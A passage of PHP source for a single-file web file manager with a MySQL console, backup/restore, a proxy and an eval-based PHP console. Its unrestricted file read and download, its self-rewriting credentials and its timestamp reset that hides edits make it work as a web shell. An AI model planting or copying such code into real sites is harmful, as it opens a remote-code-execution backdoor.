		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File managerx').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHH